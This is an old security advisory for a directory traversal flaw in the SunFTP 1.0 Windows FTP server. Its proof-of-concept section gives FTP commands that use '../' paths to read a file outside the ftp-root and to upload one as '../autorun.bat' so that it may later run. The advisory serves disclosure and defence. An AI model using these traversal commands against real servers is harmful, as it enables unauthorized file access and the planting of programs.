SunFTP Unauthorized File Access Vulnerability

BID:2428

Info

SunFTP Unauthorized File Access Vulnerability

Bugtraq ID: 2428
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Mar 02 2001 12:00AM
Updated: Mar 02 2001 12:00AM
Credit: Posted to Bugtraq by <[email protected]> on March 2, 2001.
Vulnerable: Rasmus J.P. Allenheim SunFTP 1.0 Build 9
Not Vulnerable:

Discussion

SunFTP Unauthorized File Access Vulnerability

SunFTP is a freeware ftp server written by Rasmus J.P. Allenheim and associates for the Windows platform.

SunFTP contains a vulnerability that may allow ftp users to compromise the server. Users may be able to upload or retrieve files from outside the protected ftp-root directory.

This could allow, for example, users to place trojan horse programs on the system and gain control.

Exploit / POC

SunFTP Unauthorized File Access Vulnerability

The following is from the post to Bugtraq by <[email protected]>:

Using this vulnerability to retrieve a file from outside the ftp-root (sunftptest.txt):

ftp> get ../sunftptest.txt
200 Port command successful.
150 Opening data connection for ../sunftptest.txt.
226 File sent ok

Using this vulnerability to place a file on the target filesystem outside the ftp-root (../autorun.bat):

ftp> put
Lokale Datei c:\test.txt
Remotedatei ../autorun.bat

Solution / Fix

SunFTP Unauthorized File Access Vulnerability

Solution:
This ftp server does not appear to be supported anymore. It is suggested that users upgrade to a supported ftp server.

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

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